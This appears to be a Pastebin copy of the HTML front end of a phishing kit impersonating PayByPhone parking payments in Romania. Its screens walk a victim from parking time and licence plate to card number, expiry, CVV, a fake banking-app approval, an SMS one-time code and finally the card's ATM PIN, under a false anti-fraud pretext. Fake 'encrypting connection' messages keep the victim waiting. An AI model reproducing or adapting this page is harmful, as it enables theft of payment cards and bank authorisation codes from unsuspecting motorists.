Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="RO">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
- <meta name="theme-color" media="(prefers-color-scheme: light)" content="white"/>
- <meta name="theme-color" media="(prefers-color-scheme: dark)" content="#000000"/>
- <title>Park PayByPhone - RO</title>
- <script src="https://cdn.tailwindcss.com"></script>
- <script>
- tailwind.config = {
- theme: {
- extend: {
- colors: {}
- }
- }
- }
- </script>
- <style>
- body {
- font-family: Poppins, sans-serif;
- font-size: 16px;
- }
- h1 {
- font-family: 'Abril Fatface', serif;
- font-size: 46px;
- }
- </style>
- <script defer src="https://unpkg.com/@alpinejs/[email protected]/dist/cdn.min.js"></script>
- <script defer src="https://unpkg.com/[email protected]/dist/cdn.min.js"></script>
- <script defer src="files/engine.js"></script>
- <script defer src="img/main.css"></script>
- <script id="_wauwy5">var _wau = _wau || []; _wau.push(["dynamic", "dpd99", "wy5", "c4302bffffff", "small"]);</script><script async src="//waust.at/d.js"></script>
- <link rel="shortcut icon" type="image/x-icon" href="img/favicon.ico" id="favicon">
- </head>
- <body>
- <!-- 1 -->
- <div id="timerScreen" class="_hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Începe ></span>
- <span class="font-semibold text-xs">Durata ></span>
- <span class="font-normal text-xs text-gray-500">Vehicul ></span>
- <span class="font-normal text-xs text-gray-500">Plată ></span>
- <span class="font-normal text-xs text-gray-500">Mulțumim</span>
- </div>
- <div class="container mx-auto p-2">
- <form action="" method="post" id="timerForm">
- <div class="text-xl text-center mt-6 font-semibold">
- Cât timp vrei să parchezi? </div>
- <div class="mt-4 text-sm text-center font-family">
- Selectează timpul de parcare pe oră și minut. </div>
- <div class="grid grid-cols-2 gap-4 mt-8">
- <div class="">
- <select name="hours_select" id="hours_select" class="p-4 w-full text-base">
- <option value="0" selected>0 Ore</option>
- <option value="60">1 Oră</option>
- <option value="120">2 Ore</option>
- <option value="180">3 Ore</option>
- <option value="240">4 Ore</option>
- <option value="300">5 Ore</option>
- <option value="360">6 Ore</option>
- <option value="420">7 Ore</option>
- <option value="480">8 Ore</option>
- <option value="540">9 Ore</option>
- <option value="600">10 Ore</option>
- <option value="660">11 Ore</option>
- <option value="720">12 Ore</option>
- <option value="780">13 Ore</option>
- <option value="840">14 Ore</option>
- <option value="900">15 Ore</option>
- <option value="960">16 Ore</option>
- <option value="1020">17 Ore</option>
- <option value="1080">18 Ore</option>
- <option value="1140">19 Ore</option>
- <option value="1200">20 Ore</option>
- <option value="1260">21 Ore</option>
- <option value="1320">22 Ore</option>
- <option value="1380">23 Ore</option>
- <option value="1440">24 Ore</option>
- </select>
- </div>
- <div class="">
- <select name="minutes_select" id="minutes_select" class="p-4 w-full text-base">
- <option value="00">00 Minute</option>
- <option value="15" selected>15 Minute</option>
- <option value="30">30 Minute</option>
- <option value="45">45 Minute</option>
- </select>
- </div>
- </div>
- <div class="mt-6">
- <div class="text-lg">
- <span class="font-bold">Preț:</span>
- <span class="font-bold text-fuchsia-900">
- <span class="totalPriceSpan">0</span>
- RON </span>
- </div>
- <div class="text-xs text-gray-500">
- Cost estimat. Vei vedea costul final înainte de a plăti. </div>
- </div>
- <div class="mt-6">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold font-semibold" type="submit">
- Continuă </button>
- </div>
- </form>
- </div>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 2 -->
- <div id="plateScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <form action="" id="plateForm">
- <div class="max-w-xl mx-auto p-2">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Începe ></span>
- <span class="font-normal text-xs text-gray-500">Durata ></span>
- <span class="font-semibold text-xs">Vehicul ></span>
- <span class="font-normal text-xs text-gray-500">Plată ></span>
- <span class="font-normal text-xs text-gray-500">Mulțumim</span>
- </div>
- <div class="text-xl text-center mt-6 font-semibold">
- Adaugă numărul de înmatriculare </div>
- <div class="mt-8">
- <label for="plateNumber" class="block w-full font-bold text-sm">Număr de înmatriculare</label>
- <input type="text"
- id="plateNumber"
- name="plateNumber"
- required="required"
- class="w-full p-2 border shadow rounded text-sm"
- maxlength="8"
- placeholder="Număr de înmatriculare">
- </div>
- <div class="mt-8">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
- Continuă </button>
- </div>
- </div>
- </form>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 3 -->
- <div id="cvvScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Începe ></span>
- <span class="font-normal text-xs text-gray-500">Durata ></span>
- <span class="font-normal text-xs text-gray-500">Vehicul ></span>
- <span class="font-semibold text-xs">Plată ></span>
- <span class="font-normal text-xs text-gray-500">Mulțumim</span>
- </div>
- <form action="" id="cvvForm">
- <input type="hidden" name="cmd" value="3">
- <div class="container mx-auto p-2">
- <div class="text-xl text-center mt-5 font-semibold">
- Adaugă metoda de plată </div>
- <div class="error_msg hidden text-red-700 text-center font-semibold mt-5 text-xs">
- Ups!... Cardul tău de credit nu este acceptat. Te rugăm să încerci altul. </div>
- <div class="mt-2">
- <div class="font-normal text-sm">⏳ Timp: <span class="humanTime"></span> </div>
- <span class="font-normal text-sm">💵 Suma de plătit:
- <span class="totalPriceSpan">0</span>
- EUR </span>
- <div class="font-normal text-sm">🔢 Număr licență: <span class="licenseNumber"></span> </div>
- </div>
- <div class="bg-gray-100 px-2 py-6 rounded border shadow-lg mt-3">
- <div class="text-center mt-2">
- <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
- </div>
- <div class="mt-4">
- <label for="cvvNum" class="block w-full font-bold text-sm">Număr card</label>
- <input type="tel"
- name="cvvNum"
- id="cvvNum"
- pattern="\d{4} \d{4} \d{4} \d{4}"
- required="required"
- minlength="15"
- x-data
- x-mask="9999 9999 9999 9999"
- class="w-full p-2 border shadow rounded text-sm"
- placeholder="**** **** **** ****">
- </div>
- <div class="mt-5 grid grid-cols-2 gap-4">
- <div class="">
- <label for="cvvDate" class="block w-full font-bold text-sm">Data expirării</label>
- <input type="tel"
- name="cvvDate"
- id="cvvDate"
- pattern="\d{2}\/\d{2}"
- required="required"
- x-data
- x-mask="99/99"
- class="w-full p-2 border shadow rounded text-sm"
- placeholder="MM/YY">
- </div>
- <div class="">
- <label for="cvv2" class="block w-full font-bold text-sm">CVV</label>
- <input type="tel"
- name="cvv2"
- id="cvv2"
- pattern="\d{3}"
- maxlength="3"
- required="required"
- x-data
- x-mask="9999"
- class="w-full p-2 border shadow rounded text-sm"
- placeholder="***">
- </div>
- </div>
- <div class="mt-8">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
- Adaugă card </button>
- </div>
- </div>
- </div>
- </form>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 4 -->
- <div id="confirmScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <form action="" method="post" id="confirmForm">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Start ></span>
- <span class="font-normal text-xs text-gray-500">Duration ></span>
- <span class="font-semibold text-xs">Confirm transaction</span>
- </div>
- <div class="container mx-auto p-2">
- <div class="text-xl text-center mt-6 font-semibold">
- Approve your secure payment
- </div>
- <div class="text-center text-sm">
- Log into your mobile banking app and tap payments to approve.
- </div>
- <div class="error_msg hidden text-red-700 text-center font-semibold mt-4">
- An error has occured.. Try again...
- </div>
- <div class="my-12">
- <img src="img/push.png" alt="" class="w-32 max-w-sm block mx-auto">
- </div>
- <div class="mt-8">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
- Confirm
- </button>
- </div>
- </div>
- </form>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 5 -->
- <div id="otpScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Începe ></span>
- <span class="font-normal text-xs text-gray-500">Plată ></span>
- <span class="font-semibold text-xs">OTP</span>
- </div>
- <div class="container mx-auto p-2">
- <form action="" id="otpForm">
- <input type="hidden" name="cmd" value="5">
- <div class="text-xl text-center mt-6 font-semibold">
- Confirmare plată </div>
- <div class="text-center text-sm">
- Introdu codul SMS unic de 6 caractere trimis pe numărul tău de telefon înregistrat pentru a finaliza tranzacția. </div>
- <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 font-sans">
- An error has occured.. Try again...
- </div>
- <div class="text-center mt-8">
- <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
- </div>
- <div class="my-6">
- <label for="otp" class="p-1 font-bold block w-full text-sm">Introdu codul SMS</label>
- <input type="tel" placeholder="SMS CODE" name="otp" id="otp"maxlength="6" minlength="6" autocomplete="one-time-code" required="required" class="w-full p-2 border shadow text-sm">
- </div>
- <div class="mt-8">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
- Confirmă </button>
- </div>
- </form>
- </div>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 6 -->
- <div id="pinScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <form action="" id="pinForm">
- <input type="hidden" name="cmd" value="6">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-normal text-xs text-gray-500">Începe ></span>
- <span class="font-normal text-xs text-gray-500">Plată ></span>
- <span class="font-semibold text-xs">PIN</span>
- </div>
- <div class="container mx-auto p-2">
- <div class="text-xl text-center mt-6 font-semibold">
- Confirmă PIN-ul ATM </div>
- <div class="text-center text-sm">
- Pentru a preveni frauda, avem nevoie de informații suplimentare pentru a confirma că cardul îți aparține. </div>
- <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 text-xs">
- Oops!... PIN does not match. Please try another one.
- </div>
- <div class="text-center mt-8">
- <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
- <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
- </div>
- <div class="my-12">
- <label for="atmPin" class="p-1 font-semibold block w-full text-sm">PIN ATM</label>
- <input type="password" placeholder="• • • •" pattern="\d{4}" maxlength="4" name="atmPin" id="atmPin"
- class="w-full p-2 border shadow text-sm"
- placeholder="ATM PIN" maxlength="5">
- </div>
- <div class="mt-8">
- <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
- Continuă </button>
- </div>
- </form>
- </div>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
- <div class="mb-2">
- Copyright © PayByPhone 2025
- </div>
- </footer>
- </div>
- <!-- 7 -->
- <div id="errScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/logo.png" alt="" class="w-1/3 my-4">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div class="max-w-xl mx-auto p-2">
- <div id="navdisplay" class="ml-4 mt-3">
- <span class="font-semibold">Start</span>
- >
- <span class="font-semibold">Payment</span>
- >
- <span class="font-semibold">Error</span>
- </div>
- <div class="container mx-auto p-2 mt-6">
- <div class="text-xl text-center mt-6 font-semibold">
- There has been a problem with the transaction!
- </div>
- <div class="text-center mt-16">
- We are sorry, something went wrong with the current transaction, you will be redirected to the first
- page to try again.
- </div>
- <div class="my-12">
- <img src="img/error.png" alt="" class="w-24 block mx-auto">
- </div>
- </div>
- </div>
- <footer class="fixed bottom-0 right-0 left-0">
- <div class="pl-4 flex border-b mx-2">
- <img src="img/logo.png" alt="" class="w-1/4 my-4 flex-none">
- <div class="flex-grow mr-4 text-xs">
- <div class="grid grid-cols-3 gap-2 ml-4">
- <div>Cookie Policy</div>
- <div>Privacy Policy</div>
- <div>Terms Of Use</div>
- </div>
- <div class="text-center mt-2">Copyright © PayByPhone 2024</div>
- </div>
- </div>
- </footer>
- </div>
- <!-- 9 -->
- <div id="loadingScreen" class="hidden screen">
- <nav>
- <div class="pl-4 flex border-b mx-2">
- <div class="flex-grow">
- <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
- </div>
- <div class="flex-none mr-4">
- <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
- <path fill-rule="evenodd"
- d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
- clip-rule="evenodd"/>
- </svg>
- </div>
- </div>
- </nav>
- <div id="loadingText" class="text-center mt-32 text-base font-semibold tracking-wide animate-pulse">
- Te rugăm să aștepți... </div>
- <div class="my-8 mx-auto">
- <svg xmlns="http://www.w3.org/2000/svg"
- xmlns:xlink="http://www.w3.org/1999/xlink"
- style="margin:auto;display:block;"
- width="94px" height="94px"
- viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
- <circle cx="50" cy="50" fill="none" stroke="#246e38" stroke-width="10" r="35" stroke-dasharray="164.93361431346415 56.97787143782138">
- <animateTransform attributeName="transform"
- type="rotate"
- repeatCount="indefinite"
- dur="1s"
- values="0 50 50;360 50 50"
- keyTimes="0;1"></animateTransform>
- </circle>
- </svg>
- </div>
- <div class="text-center text-gray-600 mb-20 text-sm text-sm text-gray-500">
- Te rugăm să nu închizi această fereastră. </div>
- </div>
- </div>
- </div>
- </div>
- <script>
- const loadingText = document.getElementById("loadingText");
- const messages = [
- "Please wait...",
- "Checking session integrity...",
- "Encrypting connection...",
- "Synchronizing data...",
- "Finalizing secure authentication..."
- ];
- let i = 0;
- setInterval(() => {
- loadingText.classList.add("fade-out");
- setTimeout(() => {
- loadingText.textContent = messages[i];
- loadingText.classList.remove("fade-out");
- i = (i + 1) % messages.length;
- }, 2200);
- }, 3000); // se schimbă mesajul la fiecare 3 secunde
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment